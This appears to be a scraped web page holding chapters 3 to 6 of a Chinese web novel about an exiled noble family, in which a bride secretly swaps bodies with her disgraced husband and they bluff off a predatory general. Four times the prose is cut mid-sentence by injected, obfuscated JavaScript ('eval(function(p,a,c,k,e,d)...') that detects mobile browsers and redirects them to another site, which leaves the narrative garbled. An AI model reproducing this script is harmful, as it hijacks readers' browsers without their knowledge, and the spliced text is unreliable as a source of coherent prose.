她才不会承认自己这个亲娘不如一个外人心细,还在为自己找借口,“事情一桩接着一桩,我要顾着谦儿和珠儿,实在是力不从心。以后让儿那边,就交给你了。” 南嘉点点头,什么也没说。 这个反应,倒是出乎沈氏的意料,看她的眼神多了些许的怀疑,却不知她之所以如此痛快答应,为的是自己。 半炷香后,闫怀安下令继续前行。 枷锁重新套牢双手时,南嘉这才和囚车里的人互换身体。 她能感觉到这具身体上的伤痛,只是仿佛隔着什么东西似的,倒算不上是切身体会,痛感也不怎么强烈。 囚车晃晃悠悠的,即便是时而颠簸也强过靠自己的双腿一步步地苦熬,也不知道占据自己身体里的那个人此时是什么模样。 是咬牙切齿呢?还是敢怒不敢言? 夜炁什么表情也没有,连牵着他的差役都暗生佩服。 半个时辰不到,其他人已然再次体力透支,沈氏口干舌燥,用生硬的口吻命令他,“你去……你去和他们的头说说,让我们再歇一歇。” 他置若罔闻,不予理会。 沈氏有些不满,没好气地说:“我和你说话,你……” 话还没说完,被他淡眸一扫,莫名觉得遍体生寒,再也不敢多说什么。等缓过劲之后不无恨恨地想着,这庶女就是庶女,当真是没有教养。 一旁的霍谦几乎是被差役提着往前走,一路都在哼哼叽叽,眼下更是干嚎起来,“我走不动了,我真的走不动了,我要死了……” 他年纪小,还以为耍个赖,人人都会顺着他依着他。 沈氏见之,自是心疼到不行。 “谦儿,谦儿,你再忍忍。”她无法,再向夜炁开口,“你如今已是我霍家的儿媳,身为长嫂,你就忍心看着谦儿受苦吗?” 南嘉有些好笑,这个沈姨娘无论如何也想不到,自己口中的霍家儿媳正是自己的好大儿。 她倒要听听,那个人会说什么。 “锲而坚之,是为练骨。锲而忍之,是为铸心。以全力而所向兮,虽功不成亦未悔。这是霍家祖训,你可记得?你身为霍家子孙,岂能这般无韧无坚?” 竟然是抬出霍家的祖训,看来这个霍让还挺会吓唬自己的弟弟。 走在后面的赵氏回过头来,虚弱地问夜炁,“你……你怎知我霍家祖训?” 夜炁眼神如晦,“孤……估计是以前听霍国公与……我父亲提起过。” 赵氏深信不疑,“原来是这样。” 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116186|164174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怜那霍谦,被夜炁幽沉的目光一看,吓得直吞口水,再也不敢出声。 没有人再说话,也没有人再抱怨什么,南嘉总算是放下心来。 看来那个人说到做到,应该不会把他们互换身体的秘密说出去。 以夷制夷,霍家人还是让姓霍的去操心吧。 * 天黑之前,众人到达鸣山驿。 鸣山驿的驿长姓伍,其妻王氏看上去是个爽利人,夫妻俩忙里忙外的安置所有人。差役们住屋,犯人们则关在驿站的柴牢中。 南嘉不甚安稳地睡了一觉,囚车一停她就醒来,直到一行人都入柴牢,这才念了一个“换”字诀,回到自己的身体里。 一抬头,正对上闫怀安复杂的目光。 “闫大哥,你怎么了?” 难道是睡着之后,顶着她身体的那个人做了什么事? 闫怀安的黑脸上隐有一丝不自然,但眼神很是郑重,“林二姑娘,你可有什么话要托人带回京都?” 原来是想帮她。 有那么一瞬间,她起了想用金子收买此人的心思。但这念头刚起,又熄灭。一次两次用几颗金豆子还能说得过去,多了必会引人怀疑。 “多谢闫大哥,事已至此,我还是不要给家里添麻烦的好。” 闫怀安不再说什么,转身给其他人解开枷锁。差役们将囚车里的人抬下来,平放在角落的干草上。 不到一会儿,柴牢中响起沈氏的哭声。 南喜闭着眼睛靠在墙上假寐,她如今能和人互换身体,可以免去跋涉之苦。但若想利用空间,还得从长计议。 这时外面传来一阵不小的动静,有人声还有马蹄声,应该是还有人来投宿,且来的人还不少,来头也不小。 她蓦地睁开眼,走到窗户边往外看。 天色已昏暗,院子里一下子涌进许多人马,那些人一个个军甲森森,看上去气势极其的吓人。尤其是那为首之人,一身的细鳞甲,佩金环大刀,威风凛凛有着虎狼之态。 伍驿长已出去接待,恭恭敬敬地告诉来人,说驿站已经住满,再安排不下。 “噗” 只见一人拔刀而向,怒喝,“你个不长眼的东西,我家都护今晚就要住在这里,你让那些人赶紧走。” “这…这…”伍驿长很为难,他官小,得罪不起堂堂都护。不得已,他只能和闻讯出来的闫怀安商量。 闫怀安也不想惹事,点头同意。 如他们这样的差役,押解犯人的途中风餐露宿是常事。既然驿站住不下,那他们今晚只能宿在荒郊野外。 “慢着。”那都护傲慢地叫住他,问:“你们押的是什么人?” 他没有立刻回答。 这一刻的迟疑让南嘉心头一紧。 她赶紧低声对沈氏道:“别哭了。” 沈氏还在抽抽答答,“让儿遭了这么大的罪,我可怜的让儿……” 地上的看似无知无觉,如同一个死人。但只有南嘉知道,那个人肯定能听到所有人说的话,也知道周围发生的一切。 这混账东西无论遭了多大的罪,那就是自作孽不可活。 很多脚步声朝柴牢而来,伴随着闫怀安的阻挠。 “大人,霍家所犯欺君之罪,不可随意探视。” “本官与霍家有旧,理应探视一二。” “大人……” “滚开!” 一群人涌进来,柴牢内瞬间火光大亮。 3. 第 3 章 * 火光之中,所有的一切无所遁形。 曾经的夫人小姐们,纵是落魄至此,衣衫褴褛神色憔悴,依然是一等一的好模样。或是端庄大气,或是天生丽质。 那都护精明而邪气的目光恻恻,迸发出让人很不舒服的掠夺之色。 南嘉有预感,对方绝非善类。 霍家这一家子拢共两个男丁,一个昏迷不醒,另一个太小。如果真遇上什么事,他们这些妇孺顶什么用,那些差役也绝对不会为了他们和强权抗争。 那都护的眼神已经定在她身上,一步步走近,“你是霍潜的女儿吧,本官与你父亲是旧相识。” 闫怀安被人拦着进不来,向来严肃的脸上难得有些急色,“大人,她是林家二姑娘,霍家已与定国公府结亲。” “林家的姑娘?”那都护看着南嘉,目露狐疑之色。 南嘉微抬起下巴,作骄傲状,“我父亲最重信义二字,哪怕霍家被抄家,还是守诺将我嫁过来。大人此番上京若是见到我父亲,烦请帮我带句话,就说我一切都好,定不负他老人家所托。” 霍家倒了,林家还屹立京中。以定国公府的尊崇地位,这人就算是掌管一方,也不太可能轻易得罪林家。 那都护明显有些犹疑,眯着眼不知在想什么。 半晌,他大笑起来,“原来是林家侄女,好说好说,本官定会将话带到。” 众人听到他在攀交情,还当他被定国公府几个字所震慑,暗暗松了一口气。 他盯着南嘉,迟迟没有移开目光。 这般的肤色如玉雪,容颜赛月华,还真是让人心痒得厉害。 可惜姓林,否则…… “贤侄女,这里没有你的事,你若是嫌闷得慌,不如出去透个气。” 这是想把她支开! 南嘉告诉自己,她与霍家人才刚认识,更谈不上什么交情。如果她想独善其身保全自己,此时听话离开才是明智之举。 可是她一走,这些人还能活吗? 于古代而言,女子贞节大于天,若是失了节,就算是别人不杀她们,她们也无颜再苟活于世。 救人一命造不了七级浮屠,但一定能安抚自己的良心。 “大人,霍家罪无可赦,已遭陛下厌弃。你若再逗留于此,难免被人揣测,若是陛下知晓,怕是也会心生不喜,还请大人三思。” “本官确有三思,一思打压之恨,二思夺妻之痛,三思今日之缘。” 听这意思,他和霍家不仅有仇,且还是大仇。 南嘉的心不停地往下沉,她的目光和拦在外面的闫怀安对上,对方朝她轻轻摇头。这个动作她明白,应该是让她不要掺和。 这时那都护一个眼色过去,即有两人去拉沈氏。 沈氏的尖叫声不绝于耳目,响彻整个柴牢。 他玩味地问道:“沈二姑娘,你可还认得本官?” “你……你是孙……孙将军?”沈氏认出了他,哭着求饶,“以前是我不懂事,得罪了将军,还望将军大人不计小人过……” “难为沈二姑娘,还记得我孙从彪。”孙从彪微俯着身,“本官记得清楚,当年你沈二姑娘何等的高傲,我诚心求娶,却被你百般奚落。你说本官长的獐头鼠目,简直是不堪入目。还说本官低贱污糟,与你提鞋都不配。” “我……我……” 沈氏哪里还说得出话来,当年她心高气傲,一心想入国公府,根本看不上其他人,何况是个草莽出身的虚职将军。 若早知有今日,她那时无论如何也不会逞一时口舌之快。 她泪流满面,惶惶而戚戚。 孙从彪只觉快意。 三十年河东,三十年河西,霍家也有今天。 “我孙从彪十三岁入军营,出生入死立下赫赫战功,南中大战时更是军功累累,却因霍国公的几句话,让先太子猜忌不喜,只给了我一个抚威将军的虚职。可惜霍国公死得早,看不到你们霍家有今日,也看不到本官有今日。” “这些事我……我不知道……我什么也不知道……” 沈氏的哭声让他越发兴奋,“这些年我无时不刻都想着你,今日本官就和你好好叙叙旧。” 南嘉睨向角落那堆干草上躺着的人,一动不动,仍旧像个活死人。 因为自己犯的罪而连累所有的亲人,如今亲耳听到亲人被欺辱,也不知此时此刻,那人可曾后悔? 谁作的孽谁来还,谁的亲娘谁来救。 “换!” 几乎是在她陷入黑暗的同时,形势发生大逆转。 孙从彪看着直抵自己喉咙处的刀尖,恼怒自己的一时大意和不妨,才被一个娇弱的闺阁女子所制。 而那被夺了刀的人,更是惊得目瞪口呆,以为刚才自己见了鬼。 “大人想叙旧,那我就陪大人好好叙一叙。” 这声音低沉中带着杀气。 “当年你投军时被林家赏识,与霍家也算是有些渊源,不知你这旧,是想从哪里叙起?” 孙从彪竟然是林家的人! 南嘉有些想不通,以林家和霍家的交情,这人竟然还敢起这样龌龊的心思,难道不怕得罪林家吗? “不愧是林国公的女儿,确实有几分本事。”孙从彪被夜炁的气势所震,更是又惊又恼,“只是这旧得由霍家人来与我叙,还轮不到你?” “我如今也是霍家人,自是可以。”夜炁手往前一送,刀尖又逼近一分,“你所说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我熬了一些菜粥,几位要不要对付一口?” 南嘉有所打算,亲近地握着王氏的手,道:“有劳婶子了。” 王氏连说不敢当,看她的目光满是敬佩。 这姑娘出身国公府,瞧着娇弱媚气,却不成想是个有勇有谋之人。 “姑娘巾帼不让须眉,着实让人佩服。我当家的说,姑娘有心机有手段,行事不输男子,哪怕是一时落难,将来也会出头之日。” 他们佩服的人不是她,而是另有其人,不过这个便宜她不想占也得占。 她少不得要谦虚一下,“我也是被逼无奈,眼下我什么都顾不上,只想着能活命。此一去山高水长,不知还有多少磨难等着我们。我瞧着婶子是心善之人,不知明日可否给我们备些上路的吃食?” 说这话的同时,她将两颗金豆子塞到王氏手里。 4. 第 4 章 * 夜色已浓,雾气不知何所起。 山野间的鸟兽虫鸣间或地响起,一时忽远一时忽近,天地仿佛在一寸寸地缩小,小到仅有柴牢这一方禁困之所。 霍家人哭的哭,沉默的沉默,皆是一脸的疲惫和无望。 赵氏受了惊吓,语气显得虚浮无力,强撑着精神向南嘉道谢,“今日之事,多亏有你。” “这是我应该做的。” 那个王八蛋把所有人害得这么惨,无论做什么都是应该的。 赵氏不知真相,还当她是心地善良,以德报怨之人,看向她的目光越发愧疚,“都是我们霍家连累了你。” 沈氏止了哭声,几次张了张嘴,最终什么也没说。 王氏是个爽利人,不多时将热气腾腾的菜粥送来,还有用野菜做的菜饼卷子。 没有人再挑食,包括霍明珠。 霍谦脸上还挂着泪,端起粥碗就大口大口地喝,“娘,这粥也太好喝了。” 沈氏闻言,又是一脸哭相。 大儿子一生下来,就被养在太夫人膝下,与她并不亲近。女儿虽是她一手带大的,却没法和儿子相提并论。何况小儿子是遗腹子,打一出生就没见过亲爹,她心里自是要偏疼一些。 可怜她捧在手心里的宝儿,平日里厨房变着花样都吃不了几口的小祖宗,眼下居然连一碗野菜粥都喝得津津有味。 也是遭了大罪了。 “若是你爹还活着……” 话未说完,她已是泣不成声。 一时之间,所有人都难过起来。 九年前,顺宗在围猎时遇刺,霍潜为其挡了一箭,因那箭上抹着见血封喉的毒,他几乎是当场丧命。而顺宗则一病不起,不到半年撒手归天。 顺宗无子,众臣商议之后,从夜氏皇族中择一血缘最近之人承继大统,便是今上。 今上登基时,霍家已无顶梁之柱,外人看着表面风光仍在,实则根本不得帝心。若是霍潜还在,哪怕龙椅换了人,镇国公府也不至于一日不如一日。 于赵氏而言,夫妻结发一日,便有百日之恩。她和霍潜也曾有过情投意合的时光,要不是自己一直生不出儿子,无法延续霍家的香火,或许也不会夫妻离心。这些年不管霍潜在还是不在,她心里都不好受。 “眼下是什么时候,你说这个做甚?” 沈氏哽咽着,“我……我就是心里难过……若是公爷还在,那些人怎敢欺我们至此……” 她们妻妾伤感之时,南嘉已经喝完碗里的粥,再盛一碗后却不是自己喝,而是端着走到角落那边,用仅两人才能听到的声音对地上的人说:“我懒得动,你自己喂自己。” 话音一落,你变成了我,我成为了你。 她心安理得地享受着,好在这具身体的本能尚在,还可以自主吞咽。 “孙从彪那个人可能不会善罢甘休。” 这话是什么意思? 她换回自己的身体,压着声音,“你把你知道的都告诉我。” 身体再换,说话的又变成了夜炁,“据我所知,此人不仅心狠手辣,且手段极其的残暴。他之前被我唬退,一旦回过神来,意欲杀人灭口,恐怕还会折回来。” 不等南嘉问有没有应对之策,又听到他说:“等会你别急着换回,我寻个机会出去一趟。” 这个王八蛋不会是想跑路吧? “我不会逃,再者跑得了和尚也跑不了庙。” 这倒也是。 其他人自是注意到他们,但南嘉的身体背对着所有人,便是有人听到她好像是在说话,也根本想不到她所有的自言自语,实则是两个人在对话。 夜炁出门时,不出意外地被守在外面的人拦住,南嘉听到他和闫怀安说自己要小解,心下翻了一个大白眼。 还以为有什么高明的借口,没想到是尿遁。 一刻钟多点的样子,他回到柴牢。 “你记着,若是孙从彪去而复返,到时候换我。倘若我的法子也不管用,你莫要再迟疑,保全自己要紧。” 南嘉听着他的交待,心生些许异样。 从他的行为和言语来看,与传言中的相距甚远。 他到底是个什么样的人? * 半夜,似有人在哭。 那哭声压抑而哽咽,像是咬着什么东西似的,从南嘉的右侧边传来,幽幽地直往她的耳朵里钻。 是霍鹂。 她起身查看,小声问:“你怎么了?” “大嫂……我……我好害怕……”霍鹂打着哭嗝,“我在书上看过,说北地酷热,多沙,冬大寒,好些地方不生草木,难以活人。我们以后……怎么办?” 她年方十三,还是个孩子,一朝从云端跌落尘泥,心中定然没着没落,这一路上应该也是故作坚强,也是难得。 正如她所说,北地苦寒,生存极为的不易。哪怕是前几朝曾有人在那里屯兵垦田,却仍旧是贫瘠之地。 南嘉轻拍着她的背,安慰道:“到了那里,我们就是自由民。到时候我们垦田开地,总归不会饿死。” “那我们是不是永远都回不来了?” 这个问题,南嘉没有办法回答她。 若是有冤,还寄望于沉冤得雪,但霍让是被诬陷的吗?要么还有一个希望,那就是大赦天下,只是这个更可遇不可求。 不知过了多久,她的呜咽声渐不可闻。 南嘉却毫无睡意,或许是白天睡得多,也或许是因为夜炁的那番话。要是正如夜炁所料,那孙从彪极有可能会折回来的话,大抵应该是在下半夜。 夜更加的寂静,静得让人害怕。黑暗中仿佛有什么东西在逼近,蓄势待发如上弦的弓箭。这种感觉令人毛骨悚然,莫名的心口发紧。 守在外面的闫怀安十分机警,已摸着自己的刀慢慢地起身。 “什么人……”他刚一出声,便戛然而止。 只见火光四起,刹那之间将整个驿站团团包围。 他快速将所有的差役叫醒,那些人原来还睡得有些迷糊,一看到这阵势,吓得立马清醒过来。 外面的火光从窗户透进来柴房,如一团血腥。 南嘉本就没睡,火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116188|164174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光大亮时她便知道该来的终于来了。立马将离自己最近的霍鹂唤起,伸手一指像着火的窗户。 “别怕,先把他们都叫醒。” 霍鹂白着一张小脸猛点头,身体却止不住发抖。 两人分头行动,以最快的动作将所有人摇醒。 沈氏惊闻孙从彪去而复返,吓得面无人色,紧紧所抱着自己的两个孩子。赵氏纵然镇定些,但也没好到哪里去。 “哒哒” 马蹄声渐近,骑着大马的孙从彪入院。 他居高临下地俯视着闫怀安等人,轻蔑的目光如看蝼蚁,抑或者是死人。 “孙大人,您怎么回来了?可是落了什么东西?”伍驿长赔着笑脸,火光映在他的眼中,满是惊恐之色。 “自是落了东西。” “是何物?小的这就去给您取来。” 孙从彪阴沉一笑,握着马鞭的手一指自己的脸,“本官的脸面。” 他声音洪亮,穿透墙壁进入柴牢。 沈氏瑟瑟发抖,连嘴唇都在哆嗦,“你……你快想想办法。” 这话她是对南嘉说的。 可能连她自己都不知道,她此时已将南嘉当成自己的救命稻草。 南嘉抿着唇,不得不在内心做了最坏的打算。 对方来势汹汹,应该正如夜炁所说是来杀人灭口的。他们这些人无所依傍,就算那些差役们拼尽全力也护不住他们。 至于那个人说的法子,她不知道自己应不应该抱有希望。 随着一阵兵刃相击的声音过后,柴房内再次涌进许多人。火光将这一室照得亮如白昼,也照出被孙从彪属下那些人押制住的差役们。 闰怀安脸上挂了彩,腰间的刀已不知去向。 孙从彪握着马鞭,一步步地走近。 他的脸上写满放肆,淫邪,杀意,皆是毫不掩饰。 “本官走后思来想去,实在是不放心,怕你们乱说话,特意折回来送你们一程,你们开不开心?” 还真是来杀人灭口的! 也不知那个人的办法是什么?是现在换,还是再等一会? 南嘉正思量着,猛不丁被人一推,直接摔倒在孙从彪的面前。她震惊地回头,对上的是霍明珠仓惶的脸。 “是你!是你得罪了孙大人……你这个害人精!” “……” 这个蠢货居然在背后捅她刀子! 孙从彪已如见到送上门的猎物般,垂涎地弯腰凑近。“你别怪本官狠心,本官也是没法子。” 还真是猫哭耗子假慈悲,南嘉被他喷出的浊气都快熏吐了。 事情到了如今地步,逃是不可能的,再抬出林家来恐怕也没什么意义。索性两眼一闭,让那个人来应对吧。 她才刚这么想着,就听到一道极低极沉的声音响起,“孙从彪,你好大的胆子!” “谁?” 孙从彪猛地听到有人这么叫自己,心下一惊,循着声望向角落。 原本昏迷几日的人不知何时醒来,乱发之下的那双眼睛如暗夜星芒,寒光寂寂令人生畏。 5. 第 5 章 他慢慢抬起头,优越的五官渐现。零乱的发似遮云隐雾,蔽住那张皎朗出尘的脸,一朝云消雾散,乍见润泽无双。 这就是霍让! 仿佛有一刹那,南嘉感觉有什么东西击中了自己。 同样受到冲击的还有孙从彪,他原本恼怒自己差点被一个乳臭未干的小子给唬住,等他看清对方的长相时,倒吸一口凉气。 这也太像了! 早就听说霍家的大小子长得像先太子,没想到如此之像,不管是长相还是神态。方才有那么一瞬间,他还以为这小子就是那个人。 “让儿!你醒了!” 沈氏惊喜大喊着,立马又像是想到什么似的脸色更白了几分,惶恐之色更甚,急切地叮嘱道。“没你的事,你别乱说话。” 什么叫没他的事? 南嘉觉得沈氏这个人真够可以的。 霍家的祸事是谁惹的?当下这样的局面是谁造成的?她怎么能有脸说出这样的话来,当真是让人心寒。 “霍让,你要是个男人,你就知道应该怎么做!” 夜炁:“……” 两人隔空相望,眼神交汇之下的秘密无人能知。在旁人看来,倒像是新婚夫妇的头回见面,本应是你羞来我羞去的红脸之时,却无奈时间地点都不对。 孙从彪已缓过神来,张狂大笑,“本官竟是忘了,你们成亲仓促,还未来得及洞房花烛,这可如何是好?” 他那侵略淫邪的目光,放肆地睃巡着南嘉的身子,其中意图显而易见。那早已难耐的手,捏着她的下巴,迫使她抬头。 “如此丽人,媚骨兮如芙蕖出绿波,成亲几日仍是清白之身,当真是让人不落忍。我与霍家有旧,既然霍潜的儿子无福消受,那我就笑纳了。” 闫怀安几次想冲进来,都被人制住,他焦急大喊,“孙大人,此地离永安城不远,你就不怕事情败露吗?” 回答他的,是孙从彪得意而无所顾忌的大笑。 “本官若是怕,就不会回来了。过了今晚,你们不过是开不了口的死人,本官何惧之有!”孙从彪示意属下上前,“这个和那个留给我,其余的你们分了。” 这个是指南嘉,那个是沈氏。 那双邪气冲天的眼睛,似笑非笑地睨向闫怀安等人,“至于你们,本官念在相逢一场,等会也让你们做个风流鬼,如何?” 南嘉心都凉了。 他们这一行人差役九人,霍家连她共七人。而孙从彪那边,足有几十人之多,还个个携带兵器。敌我太过悬殊,根本不能与之一战,哪怕是拼死也没用。 她下意识去看夜炁,思忖着要不要互换身体。几乎一瞬间,她像是与之有感应一般,明白他眼神中的意思。 那就暂时不换吧,听听他怎么说,万一他真有办法呢。 “你还看他做甚?”孙从彪手下的劲道一紧,将她的脸掰过来,“一个无用的废物而已,你不会指望他能救你吧?哈哈哈……” “我为乱后宫,还有人证亲眼所见,此罪等同谋逆,按律当斩,你可知陛下为何不杀我?”夜炁的话,打断他的笑声。 他轻哼一声,道:“自是因为你霍家先祖有从龙之功,陛下顾及情面,这才饶你一命。谁知你命不好,好不容易拣回一条命,却遇驿站失火,枉费陛下的一番苦心。” 夜炁神色不变,自顾说:“前朝天帝应天命而生,携天财地金救济苍生。天帝受召归天之后,还留有万千金在人间,并绘有一图,以备后人取用。” 这话一出,所有人皆是莫名。 孙从彪眯起眼来,问:“你这话是何意?” “前朝覆灭时,遗帝仓促而逃。百年来其子孙盘踞南中,以巫教蛊惑人心谋取钱财,显然手中无图,未能取出那些金为己所用。” 这一点,不用确认孙从彪也知道。他亲手杀过不少前朝余孽,且在杀完之后都会搜刮一番,油水少得可怜。 他自来贪欲深重,无论钱财权势还是美色。 倘若此事为真,那么…… “你说这些有何用?难不成你知道那些金在何处?” 夜炁等的就是他的追问,道:“当年奉旨搜查皇宫之人,正是我霍家先祖。” 他眼神大变,满是贪婪。 比起美色,他更爱钱财。 “快说!藏金图在哪里?” “我不知道。” “你……”孙从彪松开南嘉,大步朝夜炁走去。 至始至终,夜炁都用一种极其平静的目光看着他。他越是离得近,越是莫名感觉到一种惧意,没由来的心慌,下意识将手一直按在腰间的刀柄上。 他在怀疑,怀疑自己的感觉,也怀疑这件事。 “你小子说的都是真的?” “你以为我霍家为何落到如此地步?” 他闻言,竟是信了大半。 原因无它,这些年今上只顾贪图享乐,极尽奢靡挥霍,每宠一位妃子,便是千金买笑,大行赏赐之事,至使国库空虚入不敷出。 如果霍家真私藏前朝藏金图,一旦被人知晓,传到今上耳朵里,堂堂天子焉能不恼霍家居心叵测,一怒之下寻个由头将其抄家问罪。 他心下盘算着,兀地一声耻笑,“你霍家是否私藏前朝宝图,与本官何干?” 夜炁淡淡地回他,“天不收我霍家,你又能如何?” 两人四目而向,他不知为何居然败下阵来,心下一阵恼怒。 若不是这小子长了一张肖似先太子的脸,他无论如何也不会这般。寻常男子都忍不了的事,陛下竟然忍了,难道真是因为前朝的宝图? 他心下算计着,沉默了好一会儿。 半晌,他狰狞大怒。 “什么藏金图,你必定是在耍老子。陛下不杀你,分明是想好好折磨你,让你生不如死,而不是为了什么劳什子藏金图,你竟然还敢骗老子!” 说完,他一脚重重地踩在夜炁的伤腿上,还使劲碾着。 他以为会听到夜炁的惨叫求饶声,没想到夜炁一声没吭。当他对上夜炁的眼睛时,头皮无端开始发麻。 这张脸,这个眼神…… 很多年前他进宫受封,于高台之下仰视那人。那人高高在上,尊贵如日月星辰,面无表情地睥睨着他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116189|164174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “孙从彪,你可知杳卫?” 他心下一骇,“你说什么?” 他怎么可能不知杳卫。 那是先太子的暗卫,分无影和无踪两支。无影随行,无踪在外。一个以木字为记,以示警告,另一个以日字为记,代表死令。木字先行,若不止,日字随后出。杳卫来无影去无踪,一旦被盯上,虽远必诛。 当年他被留在京中,百般恼闷之余自然要做些什么,却不想收到无影卫的警告,吓得他此后不敢再有任何的轻举妄动。 先太子病逝后,杳卫也随之消失,他有许多年不曾听说过,这个乳臭未干的小子怎么会知道? “你少在这里故弄玄虚!” “霍家与先太子的交情非比寻常,先太子临终前将先帝托付给自己最为信任之人,并将杳卫一并交付。是不是故弄玄虚,你出去一看便知?” 孙从彪脸色几变,一甩马鞭出了柴牢。 他命人四处查找,终于在院角一处发现木字记,那奇特字体,宛如一个飞龙在天的杀字,与他多年前所见一模一样。 鸣山驿倚山而建,地处偏僻。山风过林间时,树木来回摇摆,恍若无数暗影掠过,惊得他无端出了一身冷汗。 良久,他对属下做了一个手势。 “撤!” * 火光渐渐远去,整个驿站陷入黑暗中。 所有人都没有说话,也没有人动。柴牢中充斥着难以言喻的气氛,像是战后的荒芜与余悸,漫延在每个人的心间。 南嘉不知何时,已到夜炁身边。 “你刚才说的都是真的?” “一半。” 一半真,那哪一半是假? 先前他借着身体的出去,说是有什么法子。而刚才他提到那什么杳卫后,孙从彪明显变了脸色,出去之后就没再回来,应该是他在外面留了什么印记。 如果这就是他说的办法,看起来像是个空城计,也就是说杳卫之事是假的,那么真的就是他所说的前朝藏金图。 “真有藏金图?” 黑暗中,彼此的面目看不真切。 为了防止别人听到他们说话,南嘉离他很近,近到几乎快贴到他脸上。因着光线太暗,一时无所察觉。 “没有。”他说。 什么! 如果藏金图也是假的,那个孙从彪不会还要杀回来吧? “万一他发现你在骗他,那可怎么办?” “没有藏金图,但他们确实在找前朝留下的那万千金。” “真有万千金?” 许是离得太近,南嘉明显感觉自己问出这句之后,眼前的人气势一变,沉得吓人的眼睛仿佛汇聚万千暗涌,似有潜龙隐于深渊。 这样的眼神…… “你要是不方便说,我也……” “相传天帝当年得天授命,身负救世之神技,可一指定乾坤,平地起金山。他曾于万人前展现此神技,无数人亲眼所见那金山自平地起,金光映射十里。” 她的心蓦然一漏,尔后剧烈狂跳。 那个神技难道是…… 空间! 6. 第 6 章 蓦地,油灯的光亮照进柴牢。 与此同时,她才发现自己离夜炁有多近。 青灯微弱如豆,昏黄朦胧着彼此的五官,似雾里看花,又似流云蔽月,花非花,月非月,不真切却美不胜收。 其他人望过来时,顿觉胜景入眼。 黯淡的光线离合中,一个是静如冷玉,世所未见,另一个是艳若娇花,上古既无。但凡所见之人,无不感慨阴阳所长,上苍之独爱。 闫怀安提着灯,腰间刀应该已经找到,正好好地挂着。 他照向夜炁的腿,问:“霍公子,你没事吧?” 众人这才如梦初醒般,动的动,哭的哭。 “让儿!”沈氏哭喊着,“你终于醒了!” 她身体还抖得厉害,双腿也是无力,差不多是半爬着到了自己儿子跟前。 “让儿,你怎么样?你有没有事?” 赵氏没有过去,低低一声叹息。 偌大的国公府一夕之间坍塌至此,所有的荣耀不再,先祖们打下的基业也毁于一旦,她岂能没有怨言? 她自认没有亏待过庶子,平日里也算是照顾有加。到头来庶子闯下此等祸事,她不苛责庶子已是难得,如何还能忍着心头怨恨去嘘寒问暖? 等看到南嘉到这边来,她脸色好看了些,有气无力地道:“眼下让儿已醒,你让他给你一封休书,或许还有一线希望。” 霍家有今日之祸,如何还能继续连累他人。 南嘉承了她的情,刚要说什么,就听到霍明珠不满的声音,“母亲,你怎么能这样?我大哥才刚醒……” “啪!” 这个蠢货当真是欠揍。 “你敢打我?” “凭你对我做过的事,我打死你都不为过。”南嘉冷若冰霜,半点情面也无。 所有人都知道她在说什么,也知道她为什么会给霍明珠这一记耳光,甚至还有人觉得这都是霍明珠该得的。 沈氏有些心虚,却也恼怒。恼她太过计较,得理不饶人。怒她没有分寸,竟然打自己的女儿。 “你这不是没事吗?珠儿还是个孩子,她当时就是吓坏了,又不是故意的。何况最后还不是让儿救了你,你……” “她都及笄了吧,不是孩子,我也不过比她大两岁而已。谁害我,谁救我,我心里清楚的很。一码归一码,不能混为一谈,否则我之前也救了你,这又要怎么算?” 沈氏一噎,竟不知如何反驳她。 霍明珠捂着脸,呜呜地哭起来。 身为国公府最为得宠的姑娘,她原本是多么的骄傲和体面,锦衣玉食呼奴唤婢,脚不沾泥衣不过夜,从未想过会有今日,不仅骄傲被人踩在脚底,更是半点体面也无。 她只想保住自己而已,她有什么错! “娘,我……我不想活了,我活不下去了……” 沈氏极疼这个女儿,哪里能听得了这些话,自是胸口大痛。 “让儿,你听听……她怎能将珠儿逼到这般地步,珠儿可是你的亲妹妹,你说句话啊……” 南嘉心下冷笑。 霍明珠推她时,分明是想将她献祭出去,根本就是送她上死路。她不过是还了一巴掌而已,这就受不了吗? 还让一个混账东西来主持公道,何其的可笑! 这种事,靠人不如靠己。 “换!” 须臾间,她视角一变,对上沈氏近在眼前的脸。 沈氏被她诡异的目光所惊,“让儿,你……” 她换了一副面孔,沉痛道:“这一切都是我的错,是我害了你们,还连累了林二姑娘。如果不是她挺身而出,你们此时恐怕已经遇难。她不是我霍家人,却能做到这个地步,实在是难得。错了就是错了,你们不认得也认,如果珠儿还认我这个大哥,赶紧向她道歉。” 说完,她一秒都不多停留,立马回到自己的身体。 